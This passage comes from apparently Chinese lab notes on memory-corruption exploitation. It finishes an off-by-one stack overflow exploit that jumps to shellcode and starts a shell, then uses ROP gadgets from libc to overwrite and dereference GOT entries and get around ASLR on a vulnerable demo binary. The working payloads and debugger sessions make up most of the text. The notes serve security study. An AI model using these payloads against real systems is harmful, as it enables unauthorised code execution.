194 | 0020| 0xbffff51c ("AAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
195 | 0024| 0xbffff520 ("AsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
196 | 0028| 0xbffff524 ("XAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
197 | [------------------------------------------------------------------------------]
198 | Legend: code, data, rodata, value
199 | Stopped reason: SIGSEGV
200 | 0x41534141 in ?? ()
201 | gdb-peda$ patte
202 | patte pattern pattern_arg pattern_create pattern_env pattern_offset pattern_patch pattern_search
203 | gdb-peda$ pattern
204 | pattern pattern_arg pattern_create pattern_env pattern_offset pattern_patch pattern_search
205 | gdb-peda$ pattern offset AASA
206 | AASA found at offset: 148
207 | ```
208 | 打算 BBBB 成功放入`EIP`, 测试一下
209 |
210 | ```shell
211 | gdb-peda$ r $(python -c 'print "A" *148 + "BBBB" + "C" * (256-148-4)')
212 | Starting program: /home/Sn0rt/lab/off_by_one2 $(python -c 'print "A" *148 + "BBBB" + "C" * (256-148-4)')
213 |
214 | Program received signal SIGSEGV, Segmentation fault.
215 | [----------------------------------registers-----------------------------------]
216 | EAX: 0xbffff470 ('A' , "BBBB", 'C' ...)
217 | EBX: 0xb7fcd000 --> 0x1a9da8
218 | ECX: 0xbffff870 --> 0x58004343 ('CC')
219 | EDX: 0xbffff56e --> 0xf5004343
220 | ESI: 0x0
221 | EDI: 0x0
222 | EBP: 0x41414141 ('AAAA')
223 | ESP: 0xbffff508 ('C' )
224 | EIP: 0x42424242 ('BBBB')
225 | EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
226 | [-------------------------------------code-------------------------------------]
227 | Invalid $PC address: 0x42424242
228 | [------------------------------------stack-------------------------------------]
229 | 0000| 0xbffff508 ('C' )
230 | 0004| 0xbffff50c ('C' )
231 | 0008| 0xbffff510 ('C' )
232 | 0012| 0xbffff514 ('C' )
233 | 0016| 0xbffff518 ('C' )
234 | 0020| 0xbffff51c ('C' )
235 | 0024| 0xbffff520 ('C' )
236 | 0028| 0xbffff524 ('C' )
237 | [------------------------------------------------------------------------------]
238 | Legend: code, data, rodata, value
239 | Stopped reason: SIGSEGV
240 | 0x42424242 in ?? ()
241 | ```
242 | 准备一下 shellcode:
243 |
244 | ```shell
245 | Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin)
246 | Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./off_by_one
247 | SHELLCODE will be at 0xbffff83c
248 | gdb-peda$ r $(python -c 'print "A" *148 + "B" * 4 + "C" * (256-148-4)')
249 | Starting program: /home/Sn0rt/lab/off_by_one2 $(python -c 'print "A" *148 + "B" * 4 + "C" * (256-148-4)')
250 |
251 | Program received signal SIGSEGV, Segmentation fault.
252 | [----------------------------------registers-----------------------------------]
253 | EAX: 0xbffff470 ('A' , "BBBB", 'C' ...)
254 | ...
255 | EBP: 0x41414141 ('AAAA')
256 | ESP: 0xbffff508 ('C' )
257 | EIP: 0x42424242 ('BBBB')
258 | ...
259 | [-------------------------------------code-------------------------------------]
260 | Invalid $PC address: 0x42424242
261 | [------------------------------------stack-------------------------------------]
262 | ...
263 | [------------------------------------------------------------------------------]
264 | Legend: code, data, rodata, value
265 | Stopped reason: SIGSEGV
266 | 0x42424242 in ?? ()
267 | gdb-peda$ r $(python -c 'print "A" *148 + "\x3c\xf8\xff\xbf" + "C" * (256-148-4)')
268 | Starting program: /home/Sn0rt/lab/off_by_one2 $(python -c 'print "A" *148 + "\x3c\xf8\xff\xbf" + "C" * (256-148-4)')
269 | process 6348 is executing new program: /bin/bash
270 | sh-4.3$
271 | ```
272 | 到这里发现初步利用成功了.
273 |
274 | ```shell
275 | Sn0rt@warzone:~/lab$ ./off_by_one2 $(python -c 'print "A" *148 + "\x3c\xf8\xff\xbf" + "C" * (256-148-4)')
276 | Segmentation fault (core dumped)
277 | ```
278 | 命令行下面发现 crash 了, 发现调试环境不同于命令行环境, 可能是是`ptrace()`导致了内存布局变化, 有待验证.
279 |
280 | ```shell
281 | Sn0rt@warzone:~/lab$ gdb off_by_one2 /tmp/core.1464421157
282 | Reading symbols from off_by_one2...done.
283 | [New LWP 6569]
284 | Core was generated by `./off_by_one2 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHA'.
285 | Program terminated with signal SIGSEGV, Segmentation fault.
286 | #0 0x25417325 in ?? ()
287 | ```
288 | 利用 peda 插件的的输出, 来测试分析一下.
289 |
290 | ```python
291 | >>> chr(0x25)+chr(0x73)+chr(0x41)+chr(0x25)
292 | '%sA%'
293 | ```
294 | 转换一下, 准备丢给 peda pattern offset 选项去计算.
295 |
296 | ```shell
297 | gdb-peda$ pattern offset %sA%
298 | %sA% found at offset: 212
299 | Sn0rt@warzone:~/lab$ ./off_by_one2 $(python -c 'print "A" *212 + "\x3c\xf8\xff\xbf" + "\x90" * (256-212-4)')
300 | sh-4.3$
301 | ```
302 | 利用完成, 野蛮高效.
303 |
304 | 不过精确的方法不是这样猜的, 而是计算的.
305 |
306 | > How to calculate the offset of return address from destination buffer 'buf'?
307 |
308 | 函数`foo`要返回`main`需要在`ebp`边上找到返回地址, 这个时候`ebp`上面的内容已经变成`buf`里面的内容了, 只用当在`foo`的`esp`减去`buf`坐在位置就是`eip`的 offset 了, 调试过程如下:
309 |
310 | ```shell
311 | gdb-peda$ pattern_arg 256
312 | Set 1 arguments to program
313 | gdb-peda$ b bar
314 | Breakpoint 1 at 0x80484e9: file off_by_one.c, line 13.
315 | gdb-peda$ c
316 | The program is not being run.
317 | gdb-peda$ r
318 | Starting program: /home/Sn0rt/lab/off_by_one2 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'
319 | [----------------------------------registers-----------------------------------]
320 | EAX: 0xbffff772 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...)
321 | EBX: 0xb7fcd000 --> 0x1a9da8
322 | ECX: 0x400008c2
323 | EDX: 0x2
324 | ESI: 0x0
325 | EDI: 0x0
326 | EBP: 0xbffff570 --> 0xbffff57c --> 0xbffff588 --> 0x0
327 | ESP: 0xbffff468 --> 0x0
328 | EIP: 0x80484e9 (: mov eax,DWORD PTR [ebp+0x8])
329 | EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
330 | [-------------------------------------code-------------------------------------]
331 | 0x80484e0 : push ebp
332 | 0x80484e1 : mov ebp,esp
333 | 0x80484e3 : sub esp,0x108
334 | => 0x80484e9 : mov eax,DWORD PTR [ebp+0x8]
335 | 0x80484ec : mov DWORD PTR [esp+0x4],eax
336 | 0x80484f0 : lea eax,[ebp-0x100]
337 | 0x80484f6 : mov DWORD PTR [esp],eax
338 | 0x80484f9 : call 0x8048380
339 | [------------------------------------stack-------------------------------------]
340 | ...
341 | [------------------------------------------------------------------------------]
342 | Legend: code, data, rodata, value
343 |
344 | Breakpoint 1, bar (
345 | arg=0xbffff772 "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...) at off_by_one.c:13
346 | 13 strcpy(buf, arg); /* [2] */
347 | gdb-peda$ x buf
348 | 0xbffff470: 0xb7fff938
349 | gdb-peda$ c
350 | Continuing.
351 |
352 | Program received signal SIGSEGV, Segmentation fault.
353 | [----------------------------------registers-----------------------------------]
354 | EAX: 0xbffff470 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...)
355 | EBX: 0xb7fcd000 --> 0x1a9da8
356 | ECX: 0xbffff870 --> 0x58006225 ('%b')
357 | EDX: 0xbffff56e --> 0xf5006225
358 | ESI: 0x0
359 | EDI: 0x0
360 | EBP: 0x6e414152 ('RAAn')
361 | ESP: 0xbffff508 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b")
362 | EIP: 0x41534141 ('AASA')
363 | EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
364 | [-------------------------------------code-------------------------------------]
365 | Invalid $PC address: 0x41534141
366 | [------------------------------------stack-------------------------------------]
367 | ...
368 | [------------------------------------------------------------------------------]
369 | Legend: code, data, rodata, value
370 | Stopped reason: SIGSEGV
371 | 0x41534141 in ?? ()
372 | ```
373 |
374 | 然后 esp - buf 找到 ebp 位置之前 4 字节就是 eip 开始位置.
375 |
376 | ```python
377 | >>> 0xbffff508-0xbffff470
378 | 152
379 | ```
380 | `eip`这次运行应该在 152 的地方, 但是测试完发现是 152-4 的地方, 不同于`sploitfun`写的.
381 |
382 | 加载环境变量里面的 shellcode, 测试一下这个计算.
383 |
384 | ```shell
385 | gdb-peda$ r $(python -c 'print "A"*148 + "\x40\xf8\xff\xbf" + "C" * (256-148-4)')
386 | Starting program: /home/Sn0rt/lab/off_by_one2 $(python -c 'print "A"*148 + "\x40\xf8\xff\xbf" + "C" * (256-148-4)')
387 | [----------------------------------registers-----------------------------------]
388 | EAX: 0xbffff772 ('A' , "@\370\377\277", 'C' ...)
389 | EBX: 0xb7fcd000 --> 0x1a9da8
390 | ECX: 0x400008c2
391 | EDX: 0x2
392 | ESI: 0x0
393 | EDI: 0x0
394 | EBP: 0xbffff570 --> 0xbffff57c --> 0xbffff588 --> 0x0
395 | ESP: 0xbffff468 --> 0x0
396 | EIP: 0x80484e9 (: mov eax,DWORD PTR [ebp+0x8])
397 | EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
398 | [-------------------------------------code-------------------------------------]
399 | 0x80484e0 : push ebp
400 | 0x80484e1 : mov ebp,esp
401 | 0x80484e3 : sub esp,0x108
402 | => 0x80484e9 : mov eax,DWORD PTR [ebp+0x8]
403 | 0x80484ec : mov DWORD PTR [esp+0x4],eax
404 | 0x80484f0 : lea eax,[ebp-0x100]
405 | 0x80484f6 : mov DWORD PTR [esp],eax
406 | 0x80484f9 : call 0x8048380
407 | [------------------------------------stack-------------------------------------]
408 | ...
409 | [------------------------------------------------------------------------------]
410 | Legend: code, data, rodata, value
411 |
412 | Breakpoint 1, bar (arg=0xbffff772 'A' , "@\370\377\277", 'C' ...) at off_by_one.c:13
413 | 13 strcpy(buf, arg); /* [2] */
414 | gdb-peda$ c
415 | Continuing.
416 | process 7248 is executing new program: /bin/bash
417 | Error in re-setting breakpoint 1: Function "bar" not defined.
418 | sh-4.3$
419 | ```
420 | 看见成功了.
421 |
422 | # doubt
423 |
424 | * 我没有打开地址随机化, 这个 gdb 调试确认 offset 时候得出来的值都不同, 很奇怪.
425 | * 还有`sploitfun`介绍用计算的方法, 我操作存在些问题 (可能是我没有搞懂), 我用`foo`的`esp`减去`buf`的地址是`foo`的`esp`在`buf`里面的 offset, 如果哪位知道可以告诉我!
426 |
427 | ### reference
428 |
429 | [^origin]: [sploitfun](https://sploitfun.wordpress.com/2015/06/07/off-by-one-vulnerability-stack-based-2/)
430 |
--------------------------------------------------------------------------------
/chapter2/overwrite-got-bypass-aslr.md:
--------------------------------------------------------------------------------
1 | # 0x00 beginning
2 |
3 | 这个笔记记录学习 [^origin] 如何利用`GOT overwrite`与`GOT dereference`绕过共享库随机化, 不同于此前的`overwrite plt`, 在这里攻击者可不依赖的`plt`的存在与否.
4 |
5 | ### what is GOT overwrite?
6 |
7 | >本方法, 攻击者可用其他`libc`函数的地址来覆写`libc`中另一函数的`GOT`入口. 例如`GOT`包含`getuid`函数地址 (在第一次调用过后, 动态绑定), 但其值可被覆写为`execve`函数地址, 因在共享库中函数的相对偏移量是常数, 因此若将同一共享库中两个不同函数偏移量的值相加回原`GOT`入口, 本例子中就可获得`execve`函数地址, 而后可期望调用`getuid`时变为`execve`!
8 | >
9 | offset_diff = execve_addr - getuid_addr
10 | GOT[getuid] = GOT[getuid] + offset_diff
11 |
12 | ### What is GOT dereference?
13 |
14 | >本方法与`GOT overwrite`相似, 但这代替覆写入`GOT`入口的实际函数的值是复制到寄存器后加上面偏移量到*寄存器*内的值, 因此寄存器存放`libc`中某函数地址. 例如`GOT[getuid]`包含`getuid`函数地址, 把它复制到寄存器内, 后将两个函数的偏移量相加到寄存器里面, 这样 call 寄存器就变成调用另一函数了.
15 | >
16 | offset_diff= execve - getuid_addr
17 | eax = GOT[getuid]
18 | eax = eax + offset_diff
19 | >
20 | >两技术看上去比较相似, 但在缓冲区溢出发生时如何具体表现呢? 需要识别某个函数与转跳的实际函数来完成 GOT 复写或间接引用, 但显然没有单个函数 (既不在`libc`也不在当前执行体内) 提供这样的功能, 这种情况`rop`中被用到.
21 |
22 | ### what is ROP?
23 |
24 | >`ROP`是攻击者获得调用栈控制权的技术. 它可在即使没有简单方式的情况下执行为特定动作设计而精心拼凑出的机器指令. 如`ret-2-libc`攻击中, 用`system()`地址覆写返回地址, 但如果`system()`或类似函数`execve() 族`被从`libc`中剥离了, 那么就不能用这方法获得 shell 了. 这种情况下, 攻击者可通过一系列`gadget`来模拟在`libc`没有提供的函数以此修复`ROP`.
25 |
26 | ### what is Gadget?
27 |
28 | >`Gadgets`是以‘ret‘结束的汇编指令集合. 攻击者用`Gadget`覆盖返回地址, 这些`Gadget`包含类似于`system()`开头的小部分汇编指令. 因此返回到这些`Gadgets`上可执行部分`system()`功能.`system()`剩下的功能通过其他的`gadgets`来完成, 这样, 通过一系列的`gadgets`可以模拟`system()`基本功能.
29 |
30 | ### How to find available gadgets in an executable?
31 |
32 | >可使用`gadget`发现工具在二进制文件中寻找 gadget 指令 (比如 ropme, ROPgadget, rp++[下载](https://github.com/downloads/0vercl0k/rp/rp-lin-x86)). 这些工具大约是先找`ret`然后往前看一条乃至更多条机器指令.
33 |
34 | ### 演示代码 [^binary]
35 |
36 | ```c
37 |
38 | // gcc -fno-stack-protector
39 | // echo 2 > /proc/sys/kernel/randomize_va_space
40 |
41 | #include
42 | #include
43 | #include
44 |
45 | int main (int argc, char **argv) {
46 | char buf[256];
47 | int i;
48 | seteuid(getuid());
49 | if(argc < 2) {
50 | puts("Need an argument\n");
51 | exit(-1);
52 | }
53 | strcpy(buf, argv[1]);
54 | printf("%s\nLen:%d\n", buf, (int)strlen(buf));
55 | return 0;
56 | }
57 |
58 | ```
59 |
60 | # 0x10 利用
61 |
62 | 在这里不需要使用`rop gadget`来模拟任何`libc`功能, 取而代之的是需要覆写`libc`中某函数的`GOT`入口或确认任意寄存器的`libc`函数地址, 以此尝试突破.
63 |
64 | ## 0x11 got overwrite using rop
65 |
66 | ### gadget 1
67 |
68 | 因为要写内存, 第一个找的`gadget`是目的操作数是内存的, 使用`ROPgadget`帮找这样的指令, 不过没有发现, 尝试使用手动的方法.
69 |
70 | 手工搜索, 首先反汇编目标文件 (个人习惯于 Intel 风格):
71 |
72 | ```shell
73 | Sn0rt@warzone:~/lab$ objdump -M intel -d aslr_3 > out
74 | ```
75 | 的确找到了一条:
76 |
77 | 236 8048607: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
78 |
79 | 这是为数不多两边操作数都是 32 位且目的操作数是内存的指令, 但是这条指令不是`ret`结尾的! 需要利用手工确认的方法查看它是否对数据一致性造成破坏与否.
80 |
81 | ```shell
82 | gdb-peda$ disassemble __libc_csu_init
83 | Dump of assembler code for function __libc_csu_init:
84 | ...
85 | 0x08048607 <+71>: mov DWORD PTR [esp+0x4],eax
86 | 0x0804860b <+75>: call DWORD PTR [ebx+edi*4-0xf8]
87 | 0x08048612 <+82>: add edi,0x1
88 | 0x08048615 <+85>: cmp edi,esi
89 | 0x08048617 <+87>: jne 0x80485f8 <__libc_csu_init+56>
90 | 0x08048619 <+89>: add esp,0x1c
91 | 0x0804861c <+92>: pop ebx
92 | 0x0804861d <+93>: pop esi
93 | 0x0804861e <+94>: pop edi
94 | 0x0804861f <+95>: pop ebp
95 | 0x08048620 <+96>: ret
96 | ```
97 |
98 | 在`0x080485ff`和`0x08048620`下断点, 命中`0x080485ff`时候确认 [esp+4] 的实际位置和里面值. 而后`continue`到`ret`确认内存原内存位置里面的值.
99 |
100 | ```shell
101 | gdb-peda$ x/xw $esp+0x4
102 | 0xbffff694: 0xbffff754
103 | gdb-peda$ c
104 | gdb-peda$ x/xw 0xbffff694
105 | 0xbffff694: 0xbffff754
106 | ```
107 |
108 | 确认完毕, 发现`eax`的值被保存在`0xbffff694`在`ret`调用前没有被修改, 这样可能使`eax`里面的值为`GOT[execve]`的地址, 那么`overwrite GOT`就有希望了, 不过还有个问题就是这个值虽然没有被修改, 但是如何取出呢?
109 |
110 | ### gadget 2
111 | gadget 1 长成那样, 接下来只能找使`[esp+0x4]`=`0x0804a010`(相当于指针本身的比较), 所以`esp`应该变成`0x0804a006`, 所有需要找形如`pop esp`或`mov esp, reg`值的指令与`pop eax` 或者 `mov eax, reg`, 这样`mov DWORD PTR [esp+0x4],eax`的目的操作数才变成`GOT[getuid]`的入口, 而源操作数`GOT[execve]`是放置在`eax`里面, 构造成这样覆写才有希望.
112 |
113 | ```shell
114 | Sn0rt@warzone:~/lab$ objdump -R aslr_3
115 |
116 | aslr_3: file format elf32-i386
117 |
118 | DYNAMIC RELOCATION RECORDS
119 | OFFSET TYPE VALUE
120 | ...
121 | 0804a010 R_386_JUMP_SLOT getuid
122 | ...
123 | ```
124 |
125 | 找啊找.... 即没有形如`pop esp`也没有形如`pop eax`, 所有放弃在可执行文件找 (可能是程序太小了, 可以了复用的不多), 准备去`libc`里面找, 使用时思路是混合`libc`与当前文件的`gadget`.
126 |
127 | ```shell
128 | Sn0rt@warzone:~/lab$ ROPgadget --binary /lib/i386-linux-gnu/libc-2.19.so --ropchain
129 |
130 | - Step 1 -- Write-what-where gadgets
131 |
132 | [+] Gadget found: 0xa6a2c mov dword ptr [edx], eax ; ret
133 | [+] Gadget found: 0x1aa2 pop edx ; ret
134 | [+] Gadget found: 0x2469f pop eax ; ret
135 | [+] Gadget found: 0x2f06c xor eax, eax ; ret
136 |
137 | ```
138 | 方便太多, 这样 eax 放入`0xb7ed8be0`,`edx`放入`0x0804a010`.
139 |
140 | ### exp 初步
141 |
142 | 计划完全使用来自`libc`的`gadget`(其实使用原文件的`gadget`与用来自`libc`复杂度一样).
143 |
144 | Sn0rt@warzone:~/lab$ for ((i = 0; i < 1000; i++ )); do ldd ./aslr_3|grep libc|grep 0xb75..000; done|wc
145 | 837 3348 47709
146 |
147 | 统计分析开发 libc 以`0xb75`开头大约 80% 多一点, 尝试构造`gadget`来暴力覆盖`overwrite`.
148 | 不过这里需要先构造一下`payload`, 利用调试模式下面`glibc`没有随机化的特点来验证一下想法!
149 |
150 | ```shell
151 | gdb-peda$ r $(python -c 'print "A" * 260 + "\x9f\x76\xe4\xb7" + "\xe0\x8b\xed\xb7"+ "\xa2\x4a\xe2\xb7" + "\x10\xa0\x04\x08" + "\x2c\x9a\xec\xb7"')
152 | Starting program: /home/Sn0rt/lab/aslr_3 $(python -c 'print "A" * 260 + "\x9f\x76\xe4\xb7" + "\xe0\x8b\xed\xb7"+ "\xa2\x4a\xe2\xb7" + "\x10\xa0\x04\x08" + "\x2c\x9a\xec\xb7"')
153 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�v�������J���,�
154 | Len:280
155 |
156 | Program received signal SIGSEGV, Segmentation fault.
157 | [----------------------------------registers-----------------------------------]
158 | EAX: 0xb7ed8be0 (<__execve>: push edi)
159 | EBX: 0xb7fcd000 --> 0x1a9da8
160 | ECX: 0x0
161 | EDX: 0x804a010 --> 0xb7ed8be0 (<__execve>: push edi)
162 | ESI: 0x0
163 | EDI: 0x0
164 | EBP: 0x41414141 ('AAAA')
165 | ESP: 0xbffff5c4 --> 0xbffff644 --> 0xbffff774 ("/home/Sn0rt/lab/aslr_3")
166 | EIP: 0x0
167 | EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
168 | [-------------------------------------code-------------------------------------]
169 | Invalid $PC address: 0x0
170 | [------------------------------------stack-------------------------------------]
171 | 0000| 0xbffff5c4 --> 0xbffff644 --> 0xbffff774 ("/home/Sn0rt/lab/aslr_3")
172 | 0004| 0xbffff5c8 --> 0xbffff5e4 --> 0x57f42b13
173 | 0008| 0xbffff5cc --> 0x804a02c --> 0xb7e3c990 (<__libc_start_main>: push ebp)
174 | 0012| 0xbffff5d0 --> 0x804827c --> 0x62696c00 ('')
175 | 0016| 0xbffff5d4 --> 0xb7fcd000 --> 0x1a9da8
176 | 0020| 0xbffff5d8 --> 0x0
177 | 0024| 0xbffff5dc --> 0x0
178 | 0028| 0xbffff5e0 --> 0x0
179 | [------------------------------------------------------------------------------]
180 | Legend: code, data, rodata, value
181 | Stopped reason: SIGSEGV
182 | 0x00000000 in ?? ()
183 | gdb-peda$ x/1xw 0x804a010
184 | 0x804a010 : 0xb7ed8be0
185 | gdb-peda$ p getuid
186 | $6 = {} 0xb7ed96a0 <__getuid>
187 | gdb-peda$ p execve
188 | $7 = {} 0xb7ed8be0 <__execve>
189 | ```
190 |
191 | 可以看见在调试模式下覆盖`GOT[getuid]`成功了!但是应用到实际环境中应该存在一个问题:`gadget`与`__execve`依赖 libc 基地址.
192 | 不过到这里打算暂停一下, 去验证作者的另一个思路.
193 |
194 | ## 0x12 got dereference using rop
195 |
196 | `overwrite got`利用执行体里面的`gadget`失败而后利用`libc`完成了想法, 现尝试`got dereference`思路:
197 |
198 | offset_diff = execve_addr - getuid
199 | reg = GOT[getuid]
200 | reg = reg + offset_diff
201 | call reg
202 |
203 | ### Gadget 1
204 |
205 | 优先使用原执行体的`gadget`(不用担心 glibc 版本. 不依赖`libc`基址, 因为`text`段不参与随机化).
206 |
207 | ```shell
208 | Sn0rt@warzone:~/lab$ ROPgadget --binary aslr_3|grep call
209 | 0x080484a6 : call eax
210 | 0x080484e3 : call edx
211 | ```
212 |
213 | 发现只有两个形如`call reg`, 检查两寄存器的上下关联是否能构造出`reg = reg + offset_diff`表达式.
214 |
215 | ```shell
216 | Sn0rt@warzone:~/lab$ ROPgadget --binary aslr_3 | egrep "eax|edx"| egrep "sub|add"
217 | 0x080484dd : add al, 0x24 ; cmp byte ptr [eax - 0x2d00f7fc], ah ; leave ; ret
218 | 0x080484a0 : add al, 0x24 ; cmp byte ptr [eax - 0x2f00f7fc], ah ; leave ; ret
219 | 0x080484a4 : add al, 8 ; call eax
220 | 0x080484e1 : add al, 8 ; call edx
221 | 0x08048488 : add al, 8 ; cmp eax, 6 ; ja 0x8048497 ; ret
222 | 0x080485b4 : add byte ptr [eax], al ; add byte ptr [eax], al ; leave ; ret
223 | 0x080485b5 : add byte ptr [eax], al ; add cl, cl ; ret
224 | 0x08048394 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
225 | 0x080485b6 : add byte ptr [eax], al ; leave ; ret
226 | 0x08048720 : add cl, byte ptr [eax + 0xe] ; adc al, 0x41 ; ret
227 | 0x0804871c : add eax, 0x2300e4e ; dec eax ; push cs ; adc al, 0x41 ; ret
228 | 0x08048505 : add eax, 0x804a038 ; add ecx, ecx ; ret
229 | 0x080484c2 : add eax, edx ; sar eax, 1 ; jne 0x80484cf ; ret
230 | 0x0804852a : and al, 0x10 ; lahf ; add al, 8 ; call eax
231 | 0x0804852c : lahf ; add al, 8 ; call eax
232 | 0x080484c1 : pop ds ; add eax, edx ; sar eax, 1 ; jne 0x80484d0 ; ret
233 | 0x08048392 : push 0 ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
234 | 0x080484bf : shr edx, 0x1f ; add eax, edx ; sar eax, 1 ; jne 0x80484d2 ; ret
235 | ```
236 |
237 | 排除单字节与立即数操作数, 发现唯一长的有点像的只有`add eax, edx ; sar eax, 1 ; jne 0x80484cf ; ret`.`sar`虽然会对`eax`修改但是在修改之前构造好数据, 使指令执行完变成我们想要的数据,`jne`取决与`EFLAGS`的`ZF`如果其值为`0`就跳了, 可惜的多数情况下就是`0`. 这样就破坏了`gadget chain`!
238 |
239 | ### 使用 libc 的思路验证
240 |
241 | 因为原文件缺少`gedget`而不满足构造`rop chain`, 所以准备利用`libc`的`gadget`完成思路.
242 |
243 | ```shell
244 | Sn0rt@warzone:~/lab$ ./rp-lin-x86 -f /lib/i386-linux-gnu/libc-2.19.so -r1 |grep "\[eax\]"
245 | 0x0018ce3f: call dword [eax] ; (1 found)
246 | 0x0018ce6e: call dword [eax] ; (1 found)
247 | 0x0018ce6f: call dword [eax] ; (1 found)
248 | 0x0018ce9e: call dword [eax] ; (1 found)
249 | 0x0018ce9f: call dword [eax] ; (1 found)
250 | Sn0rt@warzone:~/lab$ ./rp-lin-x86 -f /lib/i386-linux-gnu/libc-2.19.so -r1 |grep "pop eax"
251 | 0x0002469f: pop eax ; ret ; (1 found)
252 | 0x00048b04: pop eax ; ret ; (1 found)
253 | 0x0018ef64: pop eax ; ret ; (1 found)
254 | Sn0rt@warzone:~/lab$ ./rp-lin-x86 -f /lib/i386-linux-gnu/libc-2.19.so -r1 |grep "add dword \[eax\].*"
255 | 0x0009483c: add dword [eax], edx ; ret ; (1 found)
256 | 0x0009485c: add dword [eax], esi ; ret ; (1 found)
257 | 0x0009484c: add dword [eax], esp ; ret ; (1 found)
258 | Sn0rt@warzone:~/lab$ ./rp-lin-x86 -f /lib/i386-linux-gnu/libc-2.19.so -r1 |grep "pop esi"
259 | 0x0012b971: pop esi ; ret ; (1 found)
260 | 0x0012b9d9: pop esi ; ret ; (1 found)
261 | 0x0012ba39: pop esi ; ret ; (1 found)
262 | ```
263 |
264 | 选择使用的`gadget`, 如下表:
265 |
266 | | 0x0018ce3f: call dword [eax] | 0x0002469f: pop eax ; ret ; | 0x0009485c: add dword [eax], esi ; ret ; | 0x0012b971: pop esi ; ret ;|
267 |
268 | `payload`构造大约如下:
269 |
270 | | pop eax | got | pop esi | offset | add [eax], esi | call eax |
271 |
272 | 且我们已经知道`offset-diff`值为`0xfffff540`.
273 |
274 | ```shell
275 | gdb-peda$ nexti
276 | [----------------------------------registers-----------------------------------]
277 | EAX: 0x804a010 --> 0xb7ed96a0 (<__getuid>: mov eax,0xc7)
278 | EBX: 0xb7fcd000 --> 0x1a9da8
279 | ECX: 0x0
280 | EDX: 0xb7fce898 --> 0x0
281 | ESI: 0xfffff540
282 | EDI: 0x0
283 | EBP: 0x41414141 ('AAAA')
284 | ESP: 0xbffff5c0 --> 0xb7fafe3f --> 0x10ff
285 | EIP: 0xb7eb785c (<__memrchr_sse2_bsf+684>: add DWORD PTR [eax],esi)
286 | EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
287 | [-------------------------------------code-------------------------------------]
288 | => 0xb7eb785c <__memrchr_sse2_bsf+684>: add DWORD PTR [eax],esi
289 | 0xb7eb785e <__memrchr_sse2_bsf+686>: ret
290 | 0xb7eb785f <__memrchr_sse2_bsf+687>: nop
291 | 0xb7eb7860 <__memrchr_sse2_bsf+688>: xor eax,eax
292 | [------------------------------------stack-------------------------------------]
293 | ```
294 |
295 | 观察上下的`EAX`引用地址.
296 |
297 | ```shell
298 | [------------------------------------------------------------------------------]
299 | Legend: code, data, rodata, value
300 | 0xb7eb785c in __memrchr_sse2_bsf () at ../sysdeps/i386/i686/multiarch/memrchr-sse2-bsf.S:296
301 | 296 ../sysdeps/i386/i686/multiarch/memrchr-sse2-bsf.S: No such file or directory.
302 | gdb-peda$ nexti
303 | [----------------------------------registers-----------------------------------]
304 | EAX: 0x804a010 --> 0xb7ed8be0 (<__execve>: push edi)
305 | EBX: 0xb7fcd000 --> 0x1a9da8
306 | ECX: 0x0
307 | EDX: 0xb7fce898 --> 0x0
